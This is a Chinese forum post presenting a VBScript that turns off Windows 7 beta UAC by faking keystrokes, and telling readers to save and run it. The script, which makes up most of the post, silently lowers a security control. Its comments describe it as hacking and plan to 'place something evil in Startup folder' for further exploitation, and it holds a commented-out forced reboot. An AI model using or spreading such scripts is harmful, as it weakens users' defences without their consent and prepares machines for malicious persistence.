[分享] 关闭win7中的UAC功能

众所周知，win7中的UAC分成了多个级别，但是不能关闭：

下载 (72.87 KB)

半小时前

要关闭Win7（Beta版本）中的UAC，可以使用下面的一段脚本来实现：

1. '// 1337H4x Written by _____________
   
2. '// (12 year old)
   
3. 
   
4. Set WshShell = WScript.CreateObject("WScript.Shell")
   
5. 
   
6. '// Toggle Start menu
   
7. WshShell.SendKeys("^{ESC}")
   
8. WScript.Sleep(500)
   
9. 
   
10. '// Search for UAC applet
    
11. WshShell.SendKeys("change uac")
    
12. WScript.Sleep(2000)
    
13. 
    
14. '// Open the applet (assuming second result)
    
15. WshShell.SendKeys("{DOWN}")
    
16. WshShell.SendKeys("{DOWN}")
    
17. WshShell.SendKeys("{ENTER}")
    
18. WScript.Sleep(2000)
    
19. 
    
20. '// Set UAC level to lowest (assuming out-of-box Default setting)
    
21. WshShell.SendKeys("{TAB}")
    
22. WshShell.SendKeys("{DOWN}")
    
23. WshShell.SendKeys("{DOWN}")
    
24. WshShell.SendKeys("{DOWN}")
    
25. 
    
26. '// Save our changes
    
27. WshShell.SendKeys("{TAB}")
    
28. WshShell.SendKeys("{ENTER}")
    
29. 
    
30. '// TODO: Add code to handle installation of rebound
    
31. '// process to continue exploitation, i.e. place something
    
32. '// evil in Startup folder
    
33. 
    
34. '// Reboot the system
    
35. '// WshShell.Run "shutdown /r /f"

这段脚本代码很好理解，只需要保存为.vbs，并且在win 7中运行，那么UAC就可以被关闭。

看来有时候易用性和安全性之间的真的是一对永恒的矛盾。